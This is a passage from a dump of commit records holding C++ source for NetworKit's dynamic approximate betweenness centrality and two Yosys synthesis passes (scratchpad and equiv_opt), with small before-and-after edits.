v.resize(r);\n sampledPaths.resize(r);\n\n for (count i = 0; i < r; i++) {\n DEBUG(\"sample \", i);\n \/\/ sample random node pair\n u[i] = Sampling::randomNode(G);\n do {\n v[i] = Sampling::randomNode(G);\n } while (v[i] == u[i]);\n if (G.isWeighted()) {\n sssp[i].reset(new DynDijkstra(G, u[i], storePreds));\n } else {\n sssp[i].reset(new DynBFS(G, u[i], storePreds));\n }\n DEBUG(\"running shortest path algorithm for node \", u[i]);\n sssp[i]->setTargetNode(v[i]);\n sssp[i]->run();\n if (sssp[i]->distances[v[i]] > 0) { \/\/ at least one path between {u, v} exists\n DEBUG(\"updating estimate for path \", u[i], \" <-> \", v[i]);\n \/\/ random path sampling and estimation update\n sampledPaths[i].clear();\n node t = v[i];\n while (t != u[i]) {\n \/\/ sample z in P_u(t) with probability sigma_uz \/ sigma_us\n std::vector<std::pair<node, double> > choices;\n if (storePreds) {\n for (node z : sssp[i]->previous[t]) {\n \/\/ workaround for integer overflow in large graphs\n bigfloat tmp = sssp[i]->numberOfPaths(z) \/ sssp[i]->numberOfPaths(t);\n double weight;\n tmp.ToDouble(weight);\n\n choices.emplace_back(z, weight); \t\/\/ sigma_uz \/ sigma_us\n }\n }\n else {\n G.forInEdgesOf(t, [&](node t, node z, edgeweight w){\n if (Aux::NumericTools::logically_equal(sssp[i]->distances[t], sssp[i]->distances[z] + w)) {\n \/\/ workaround for integer overflow in large graphs\n bigfloat tmp = sssp[i]->numberOfPaths(z) \/ sssp[i]->numberOfPaths(t);\n double weight;\n tmp.ToDouble(weight);\n\n choices.emplace_back(z, weight);\n }\n\n });\n }\n INFO(\"Node considered: \", t);\n INFO(\"Source considered: \", u[i]);\n assert (choices.size() > 0);\n node z = Aux::Random::weightedChoice(choices);\n assert (z <= G.upperNodeIdBound());\n if (z != u[i]) {\n scoreData[z] += 1 \/ (double) r;\n sampledPaths[i].push_back(z);\n }\n t = z;\n }\n }\n }\n\n}\n\nvoid DynApproxBetweenness::update(const std::vector<GraphEvent>& batch) {\n INFO (\"Updating\");\n for (node i = 0; i < r; i++) {\n sssp[i]->update(batch);\n if (sssp[i]->modified()) {\n \/\/ subtract contributions to nodes in the old sampled path\n for (node z: sampledPaths[i]) {\n scoreData[z] -= 1 \/ (double) r;\n }\n \/\/ sample a new shortest path\n sampledPaths[i].clear();\n node t = v[i];\n while (t != u[i]) {\n \/\/ sample z in P_u(t) with probability sigma_uz \/ sigma_us\n std::vector<std::pair<node, double> > choices;\n if (storePreds) {\n for (node z : sssp[i]->previous[t]) {\n \/\/ workaround for integer overflow in large graphs\n bigfloat tmp = sssp[i]->numberOfPaths(z) \/ sssp[i]->numberOfPaths(t);\n double weight;\n tmp.ToDouble(weight);\n\n choices.emplace_back(z, weight);\n }\n }\n else {\n G.forEdgesOf(t, [&](node t, node z, edgeweight w){\n if (Aux::NumericTools::logically_equal(sssp[i]->distances[t], sssp[i]->distances[z] + w)) {\n \/\/ workaround for integer overflow in large graphs\n bigfloat tmp = sssp[i]->numberOfPaths(z) \/ sssp[i]->numberOfPaths(t);\n double weight;\n tmp.ToDouble(weight);\n\n choices.emplace_back(z, weight);\n }\n });\n }\n assert (choices.size() > 0); \/\/ this should fail only if the graph is not connected\n if (choices.size() == 0) {\n INFO (\"node: \", t);\n INFO (\"source: \", u[i]);\n INFO (\"distance: \", sssp[i]->distances[t]);\n }\n node z = Aux::Random::weightedChoice(choices);\n assert (z <= G.upperNodeIdBound());\n if (z != u[i]) {\n scoreData[z] += 1 \/ (double) r;\n sampledPaths[i].push_back(z);\n }\n t = z;\n }\n\n }\n\n }\n}\n\n} \/* namespace NetworKit *\/\n<commit_msg>replaced forInEdges with forEdges in dyn approx betweenness<commit_after>\/*\n * DynApproxBetweenness.cpp\n *\n * Created on: 31.07.2014\n * Author: ebergamini\n *\/\n\n#include \"DynApproxBetweenness.h\"\n#include \"..\/auxiliary\/Random.h\"\n#include \"..\/properties\/Diameter.h\"\n#include \"..\/graph\/Sampling.h\"\n#include \"..\/graph\/DynDijkstra.h\"\n#include \"..\/graph\/DynBFS.h\"\n#include \"..\/auxiliary\/Log.h\"\n#include \"..\/auxiliary\/NumericTools.h\"\n\n\nnamespace NetworKit {\n\nDynApproxBetweenness::DynApproxBetweenness(const Graph& G, double epsilon, double delta, bool storePredecessors) : Centrality(G, true),\nstorePreds(storePredecessors), epsilon(epsilon), delta(delta) {\n\n}\n\n\ncount DynApproxBetweenness::getNumberOfSamples() {\n return r;\n}\n\n\nvoid DynApproxBetweenness::run() {\n if (G.isDirected()) {\n throw std::runtime_error(\"Invalid argument: G must be undirected.\");\n }\n scoreData.clear();\n scoreData.resize(G.upperNodeIdBound());\n u.clear();\n v.clear();\n sampledPaths.clear();\n\n double c = 0.5; \/\/ universal positive constant - see reference in paper\n\n\n edgeweight vd = Diameter::estimatedVertexDiameterPedantic(G);\n\n INFO(\"estimated diameter: \", vd);\n r = ceil((c \/ (epsilon * epsilon)) * (floor(log(vd - 2)) + 1 + log(1 \/ delta)));\n INFO(\"taking \", r, \" path samples\");\n sssp.clear();\n sssp.resize(r);\n u.resize(r);\n v.resize(r);\n sampledPaths.resize(r);\n\n for (count i = 0; i < r; i++) {\n DEBUG(\"sample \", i);\n \/\/ sample random node pair\n u[i] = Sampling::randomNode(G);\n do {\n v[i] = Sampling::randomNode(G);\n } while (v[i] == u[i]);\n if (G.isWeighted()) {\n sssp[i].reset(new DynDijkstra(G, u[i], storePreds));\n } else {\n sssp[i].reset(new DynBFS(G, u[i], storePreds));\n }\n DEBUG(\"running shortest path algorithm for node \", u[i]);\n sssp[i]->setTargetNode(v[i]);\n sssp[i]->run();\n if (sssp[i]->distances[v[i]] > 0) { \/\/ at least one path between {u, v} exists\n DEBUG(\"updating estimate for path \", u[i], \" <-> \", v[i]);\n \/\/ random path sampling and estimation update\n sampledPaths[i].clear();\n node t = v[i];\n while (t != u[i]) {\n \/\/ sample z in P_u(t) with probability sigma_uz \/ sigma_us\n std::vector<std::pair<node, double> > choices;\n if (storePreds) {\n for (node z : sssp[i]->previous[t]) {\n \/\/ workaround for integer overflow in large graphs\n bigfloat tmp = sssp[i]->numberOfPaths(z) \/ sssp[i]->numberOfPaths(t);\n double weight;\n tmp.ToDouble(weight);\n\n choices.emplace_back(z, weight); \t\/\/ sigma_uz \/ sigma_us\n }\n }\n else {\n G.forEdgesOf(t, [&](node t, node z, edgeweight w){\n if (Aux::NumericTools::logically_equal(sssp[i]->distances[t], sssp[i]->distances[z] + w)) {\n \/\/ workaround for integer overflow in large graphs\n bigfloat tmp = sssp[i]->numberOfPaths(z) \/ sssp[i]->numberOfPaths(t);\n double weight;\n tmp.ToDouble(weight);\n\n choices.emplace_back(z, weight);\n }\n\n });\n }\n INFO(\"Node considered: \", t);\n INFO(\"Source considered: \", u[i]);\n assert (choices.size() > 0);\n node z = Aux::Random::weightedChoice(choices);\n assert (z <= G.upperNodeIdBound());\n if (z != u[i]) {\n scoreData[z] += 1 \/ (double) r;\n sampledPaths[i].push_back(z);\n }\n t = z;\n }\n }\n }\n\n}\n\nvoid DynApproxBetweenness::update(const std::vector<GraphEvent>& batch) {\n INFO (\"Updating\");\n for (node i = 0; i < r; i++) {\n sssp[i]->update(batch);\n if (sssp[i]->modified()) {\n \/\/ subtract contributions to nodes in the old sampled path\n for (node z: sampledPaths[i]) {\n scoreData[z] -= 1 \/ (double) r;\n }\n \/\/ sample a new shortest path\n sampledPaths[i].clear();\n node t = v[i];\n while (t != u[i]) {\n \/\/ sample z in P_u(t) with probability sigma_uz \/ sigma_us\n std::vector<std::pair<node, double> > choices;\n if (storePreds) {\n for (node z : sssp[i]->previous[t]) {\n \/\/ workaround for integer overflow in large graphs\n bigfloat tmp = sssp[i]->numberOfPaths(z) \/ sssp[i]->numberOfPaths(t);\n double weight;\n tmp.ToDouble(weight);\n\n choices.emplace_back(z, weight);\n }\n }\n else {\n G.forEdgesOf(t, [&](node t, node z, edgeweight w){\n if (Aux::NumericTools::logically_equal(sssp[i]->distances[t], sssp[i]->distances[z] + w)) {\n \/\/ workaround for integer overflow in large graphs\n bigfloat tmp = sssp[i]->numberOfPaths(z) \/ sssp[i]->numberOfPaths(t);\n double weight;\n tmp.ToDouble(weight);\n\n choices.emplace_back(z, weight);\n }\n });\n }\n assert (choices.size() > 0); \/\/ this should fail only if the graph is not connected\n if (choices.size() == 0) {\n INFO (\"node: \", t);\n INFO (\"source: \", u[i]);\n INFO (\"distance: \", sssp[i]->distances[t]);\n }\n node z = Aux::Random::weightedChoice(choices);\n assert (z <= G.upperNodeIdBound());\n if (z != u[i]) {\n scoreData[z] += 1 \/ (double) r;\n sampledPaths[i].push_back(z);\n }\n t = z;\n }\n\n }\n\n }\n}\n\n} \/* namespace NetworKit *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * yosys -- Yosys Open SYnthesis Suite\n *\n * Copyright (C) 2012 Clifford Wolf <clifford@clifford.at>\n * 2019 Nina Engelhardt <nak@symbioticeda.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"kernel\/register.h\"\n#include \"kernel\/rtlil.h\"\n#include \"kernel\/log.h\"\n\nUSING_YOSYS_NAMESPACE\nPRIVATE_NAMESPACE_BEGIN\n\nstruct ScratchpadPass : public Pass {\n\tScratchpadPass() : Pass(\"scratchpad\", \"get\/set values in the scratchpad\") { }\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/ |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\" scratchpad [options]\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"This pass allows to read and modify values from the scratchpad of the current\\n\");\n\t\tlog(\"design. Options:\\n\");\n\t\tlog(\" -get <identifier>\\n\");\n\t\tlog(\" print the value saved in the scratchpad under the given identifier\\n\");\n\t\tlog(\" -set <identifier> <value>\\n\");\n\t\tlog(\" save the given value in the scratchpad under the given identifier\\n\");\n\t\tlog(\" -unset <identifier>\\n\");\n\t\tlog(\" remove the entry for the given identifier from the scratchpad\\n\");\n\t\tlog(\" -copy <identifier_from> <identifier_to>\\n\");\n\t\tlog(\" copy the value of the first identifier to the second identifier\\n\");\n\t\tlog(\"The identifier may not contain whitespace. By convention, it is usually prefixed\\n\");\n\t\tlog(\"by the name of the pass that uses it, e.g. 'opt.did_something'. If the value\\n\");\n\t\tlog(\"contains whitespace, it must be enclosed in double quotes.\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design *design) YS_OVERRIDE\n\t{\n\t\tsize_t argidx;\n\t\tfor (argidx = 1; argidx < args.size(); argidx++)\n\t\t{\n\t\t\tif (args[argidx] == \"-get\" && argidx+1 < args.size()) {\n\t\t\t\tstring identifier = args[++argidx];\n\t\t\t\tif (design->scratchpad.count(identifier)){\n\t\t\t\t\tlog(\"%s\\n\", design->scratchpad_get_string(identifier).c_str());\n\t\t\t\t} else {\n\t\t\t\t\tlog(\"\\\"%s\\\" not set\\n\", identifier.c_str());\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-set\" && argidx+2 < args.size()) {\n\t\t\t\tstring identifier = args[++argidx];\n\t\t\t\tstring value = args[++argidx];\n\t\t\t\tif (value.front() == '\\\"' && value.back() == '\\\"') value = value.substr(1, value.size() - 2);\n\t\t\t\tdesign->scratchpad_set_string(identifier, value);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-unset\" && argidx+1 < args.size()) {\n\t\t\t\tstring identifier = args[++argidx];\n\t\t\t\tdesign->scratchpad_unset(identifier);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-copy\" && argidx+2 < args.size()) {\n\t\t\t\tstring identifier_from = args[++argidx];\n\t\t\t\tstring identifier_to = args[++argidx];\n\t\t\t\tif (design->scratchpad.count(identifier_from) == 0) log_error(\"\\\"%s\\\" not set\\n\", identifier_from.c_str());\n\t\t\t\tstring value = design->scratchpad_get_string(identifier_from);\n\t\t\t\tdesign->scratchpad_set_string(identifier_to, value);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tlog(\"Unrecognized argument: %s\\n\", args[argidx].c_str());\n\t\t\tbreak;\n\t\t}\n\t}\n} ScratchpadPass;\nPRIVATE_NAMESPACE_END\n<commit_msg>add periods and newlines to help message<commit_after>\/*\n * yosys -- Yosys Open SYnthesis Suite\n *\n * Copyright (C) 2012 Clifford Wolf <clifford@clifford.at>\n * 2019 Nina Engelhardt <nak@symbioticeda.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"kernel\/register.h\"\n#include \"kernel\/rtlil.h\"\n#include \"kernel\/log.h\"\n\nUSING_YOSYS_NAMESPACE\nPRIVATE_NAMESPACE_BEGIN\n\nstruct ScratchpadPass : public Pass {\n\tScratchpadPass() : Pass(\"scratchpad\", \"get\/set values in the scratchpad\") { }\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/ |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\" scratchpad [options]\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"This pass allows to read and modify values from the scratchpad of the current\\n\");\n\t\tlog(\"design. Options:\\n\\n\");\n\t\tlog(\" -get <identifier>\\n\");\n\t\tlog(\" print the value saved in the scratchpad under the given identifier.\\n\\n\");\n\t\tlog(\" -set <identifier> <value>\\n\");\n\t\tlog(\" save the given value in the scratchpad under the given identifier.\\n\\n\");\n\t\tlog(\" -unset <identifier>\\n\");\n\t\tlog(\" remove the entry for the given identifier from the scratchpad.\\n\\n\");\n\t\tlog(\" -copy <identifier_from> <identifier_to>\\n\");\n\t\tlog(\" copy the value of the first identifier to the second identifier.\\n\\n\");\n\t\tlog(\"The identifier may not contain whitespace. By convention, it is usually prefixed\\n\");\n\t\tlog(\"by the name of the pass that uses it, e.g. 'opt.did_something'. If the value\\n\");\n\t\tlog(\"contains whitespace, it must be enclosed in double quotes.\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design *design) YS_OVERRIDE\n\t{\n\t\tsize_t argidx;\n\t\tfor (argidx = 1; argidx < args.size(); argidx++)\n\t\t{\n\t\t\tif (args[argidx] == \"-get\" && argidx+1 < args.size()) {\n\t\t\t\tstring identifier = args[++argidx];\n\t\t\t\tif (design->scratchpad.count(identifier)){\n\t\t\t\t\tlog(\"%s\\n\", design->scratchpad_get_string(identifier).c_str());\n\t\t\t\t} else {\n\t\t\t\t\tlog(\"\\\"%s\\\" not set\\n\", identifier.c_str());\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-set\" && argidx+2 < args.size()) {\n\t\t\t\tstring identifier = args[++argidx];\n\t\t\t\tstring value = args[++argidx];\n\t\t\t\tif (value.front() == '\\\"' && value.back() == '\\\"') value = value.substr(1, value.size() - 2);\n\t\t\t\tdesign->scratchpad_set_string(identifier, value);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-unset\" && argidx+1 < args.size()) {\n\t\t\t\tstring identifier = args[++argidx];\n\t\t\t\tdesign->scratchpad_unset(identifier);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-copy\" && argidx+2 < args.size()) {\n\t\t\t\tstring identifier_from = args[++argidx];\n\t\t\t\tstring identifier_to = args[++argidx];\n\t\t\t\tif (design->scratchpad.count(identifier_from) == 0) log_error(\"\\\"%s\\\" not set\\n\", identifier_from.c_str());\n\t\t\t\tstring value = design->scratchpad_get_string(identifier_from);\n\t\t\t\tdesign->scratchpad_set_string(identifier_to, value);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tlog(\"Unrecognized argument: %s\\n\", args[argidx].c_str());\n\t\t\tbreak;\n\t\t}\n\t}\n} ScratchpadPass;\nPRIVATE_NAMESPACE_END\n<|endoftext|>"} {"text":"<commit_before>\/*\n * yosys -- Yosys Open SYnthesis Suite\n *\n * Copyright (C) 2018 whitequark <whitequark@whitequark.org>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"kernel\/register.h\"\n\nUSING_YOSYS_NAMESPACE\nPRIVATE_NAMESPACE_BEGIN\n\nstruct EquivOptPass:public ScriptPass\n{\n\tEquivOptPass() : ScriptPass(\"equiv_opt\", \"prove equivalence for optimized circuit\") { }\n\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/ |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\" equiv_opt [options] [command]\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"This command checks circuit equivalence before and after an optimization pass.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -run <from_label>:<to_label>\\n\");\n\t\tlog(\" only run the commands between the labels (see below). an empty\\n\");\n\t\tlog(\" from label is synonymous to the start of the command list, and empty to\\n\");\n\t\tlog(\" label is synonymous to the end of the command list.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -map <filename>\\n\");\n\t\tlog(\" expand the modules in this file before proving equivalence. this is\\n\");\n\t\tlog(\" useful for handling architecture-specific primitives.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -assert\\n\");\n\t\tlog(\" produce an error if the circuits are not equivalent.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -multiclock\\n\");\n\t\tlog(\" run clk2fflogic before equivalence checking.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -undef\\n\");\n\t\tlog(\" enable modelling of undef states during equiv_induct.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"The following commands are executed by this verification command:\\n\");\n\t\thelp_script();\n\t\tlog(\"\\n\");\n\t}\n\n\tstd::string command, techmap_opts;\n\tbool assert, undef, multiclock;\n\n\tvoid clear_flags() YS_OVERRIDE\n\t{\n\t\tcommand = \"\";\n\t\ttechmap_opts = \"\";\n\t\tassert = false;\n\t\tundef = false;\n\t\tmulticlock = false;\n\t}\n\n\tvoid execute(std::vector < std::string > args, RTLIL::Design * design) YS_OVERRIDE\n\t{\n\t\tstring run_from, run_to;\n\t\tclear_flags();\n\n\t\tsize_t argidx;\n\t\tfor (argidx = 1; argidx < args.size(); argidx++) {\n\t\t\tif (args[argidx] == \"-run\" && argidx + 1 < args.size()) {\n\t\t\t\tsize_t pos = args[argidx + 1].find(':');\n\t\t\t\tif (pos == std::string::npos)\n\t\t\t\t\tbreak;\n\t\t\t\trun_from = args[++argidx].substr(0, pos);\n\t\t\t\trun_to = args[argidx].substr(pos + 1);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-map\" && argidx + 1 < args.size()) {\n\t\t\t\ttechmap_opts += \" -map \" + args[++argidx];\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-assert\") {\n\t\t\t\tassert = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-undef\") {\n\t\t\t\tundef = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-multiclock\") {\n\t\t\t\tmulticlock = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tfor (; argidx < args.size(); argidx++) {\n\t\t\tif (command.empty()) {\n\t\t\t\tif (args[argidx].compare(0, 1, \"-\") == 0)\n\t\t\t\t\tcmd_error(args, argidx, \"Unknown option.\");\n\t\t\t} else {\n\t\t\t\tcommand += \" \";\n\t\t\t}\n\t\t\tcommand += args[argidx];\n\t\t}\n\n\t\tif (command.empty())\n\t\t\tlog_cmd_error(\"No optimization pass specified!\\n\");\n\n\t\tif (!design->full_selection())\n\t\t\tlog_cmd_error(\"This command only operates on fully selected designs!\\n\");\n\n\t\tlog_header(design, \"Executing EQUIV_OPT pass.\\n\");\n\t\tlog_push();\n\n\t\trun_script(design, run_from, run_to);\n\n\t\tlog_pop();\n\t}\n\n\tvoid script() YS_OVERRIDE\n\t{\n\t\tif (check_label(\"run_pass\")) {\n\t\t\trun(\"hierarchy -auto-top\");\n\t\t\trun(\"design -save preopt\");\n\t\t\tif (help_mode)\n\t\t\t\trun(\"[command]\");\n\t\t\telse\n\t\t\t\trun(command);\n\t\t\trun(\"design -stash postopt\");\n\t\t}\n\n\t\tif (check_label(\"prepare\")) {\n\t\t\trun(\"design -copy-from preopt -as gold A:top\");\n\t\t\trun(\"design -copy-from postopt -as gate A:top\");\n\t\t}\n\n\t\tif ((!techmap_opts.empty() || help_mode) && check_label(\"techmap\", \"(only with -map)\")) {\n\t\t\tstring opts;\n\t\t\tif (help_mode)\n\t\t\t\topts = \" -map <filename> ...\";\n\t\t\telse\n\t\t\t\topts = techmap_opts;\n\t\t\trun(\"techmap -wb -D EQUIV -autoproc\" + opts);\n\t\t}\n\n\t\tif (check_label(\"prove\")) {\n\t\t\tif (multiclock || help_mode)\n\t\t\t\trun(\"clk2fflogic\", \"(only with -multiclock)\");\n\t\t\trun(\"equiv_make gold gate equiv\");\n\t\t\tif (help_mode)\n\t\t\t\trun(\"equiv_induct [-undef] equiv\");\n\t\t\telse if (undef)\n\t\t\t\trun(\"equiv_induct -undef equiv\");\n\t\t\telse\n\t\t\t\trun(\"equiv_induct equiv\");\n\t\t\tif (help_mode)\n\t\t\t\trun(\"equiv_status [-assert] equiv\");\n\t\t\telse if (assert)\n\t\t\t\trun(\"equiv_status -assert equiv\");\n\t\t\telse\n\t\t\t\trun(\"equiv_status equiv\");\n\t\t}\n\n\t\tif (check_label(\"restore\")) {\n\t\t\trun(\"design -load preopt\");\n\t\t}\n\t}\n} EquivOptPass;\n\nPRIVATE_NAMESPACE_END\n<commit_msg>Add new -async2sync option<commit_after>\/*\n * yosys -- Yosys Open SYnthesis Suite\n *\n * Copyright (C) 2018 whitequark <whitequark@whitequark.org>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n#include \"kernel\/register.h\"\n\nUSING_YOSYS_NAMESPACE\nPRIVATE_NAMESPACE_BEGIN\n\nstruct EquivOptPass:public ScriptPass\n{\n\tEquivOptPass() : ScriptPass(\"equiv_opt\", \"prove equivalence for optimized circuit\") { }\n\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/ |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\" equiv_opt [options] [command]\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"This command checks circuit equivalence before and after an optimization pass.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -run <from_label>:<to_label>\\n\");\n\t\tlog(\" only run the commands between the labels (see below). an empty\\n\");\n\t\tlog(\" from label is synonymous to the start of the command list, and empty to\\n\");\n\t\tlog(\" label is synonymous to the end of the command list.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -map <filename>\\n\");\n\t\tlog(\" expand the modules in this file before proving equivalence. this is\\n\");\n\t\tlog(\" useful for handling architecture-specific primitives.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -assert\\n\");\n\t\tlog(\" produce an error if the circuits are not equivalent.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -multiclock\\n\");\n\t\tlog(\" run clk2fflogic before equivalence checking.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\" -undef\\n\");\n\t\tlog(\" enable modelling of undef states during equiv_induct.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"The following commands are executed by this verification command:\\n\");\n\t\thelp_script();\n\t\tlog(\"\\n\");\n\t}\n\n\tstd::string command, techmap_opts;\n\tbool assert, undef, multiclock, async2sync;\n\n\tvoid clear_flags() YS_OVERRIDE\n\t{\n\t\tcommand = \"\";\n\t\ttechmap_opts = \"\";\n\t\tassert = false;\n\t\tundef = false;\n\t\tmulticlock = false;\n\t\tasync2sync = false;\n\t}\n\n\tvoid execute(std::vector < std::string > args, RTLIL::Design * design) YS_OVERRIDE\n\t{\n\t\tstring run_from, run_to;\n\t\tclear_flags();\n\n\t\tsize_t argidx;\n\t\tfor (argidx = 1; argidx < args.size(); argidx++) {\n\t\t\tif (args[argidx] == \"-run\" && argidx + 1 < args.size()) {\n\t\t\t\tsize_t pos = args[argidx + 1].find(':');\n\t\t\t\tif (pos == std::string::npos)\n\t\t\t\t\tbreak;\n\t\t\t\trun_from = args[++argidx].substr(0, pos);\n\t\t\t\trun_to = args[argidx].substr(pos + 1);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-map\" && argidx + 1 < args.size()) {\n\t\t\t\ttechmap_opts += \" -map \" + args[++argidx];\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-assert\") {\n\t\t\t\tassert = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-undef\") {\n\t\t\t\tundef = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-multiclock\") {\n\t\t\t\tmulticlock = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-async2sync\") {\n\t\t\t\tasync2sync = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\n\t\tfor (; argidx < args.size(); argidx++) {\n\t\t\tif (command.empty()) {\n\t\t\t\tif (args[argidx].compare(0, 1, \"-\") == 0)\n\t\t\t\t\tcmd_error(args, argidx, \"Unknown option.\");\n\t\t\t} else {\n\t\t\t\tcommand += \" \";\n\t\t\t}\n\t\t\tcommand += args[argidx];\n\t\t}\n\n\t\tif (command.empty())\n\t\t\tlog_cmd_error(\"No optimization pass specified!\\n\");\n\n\t\tif (!design->full_selection())\n\t\t\tlog_cmd_error(\"This command only operates on fully selected designs!\\n\");\n\n\t\tif (async2sync && multiclock)\n\t\t\tlog_cmd_error(\"The '-async2sync' and '-multiclock' options are mutually exclusive!\\n\");\n\n\t\tlog_header(design, \"Executing EQUIV_OPT pass.\\n\");\n\t\tlog_push();\n\n\t\trun_script(design, run_from, run_to);\n\n\t\tlog_pop();\n\t}\n\n\tvoid script() YS_OVERRIDE\n\t{\n\t\tif (check_label(\"run_pass\")) {\n\t\t\trun(\"hierarchy 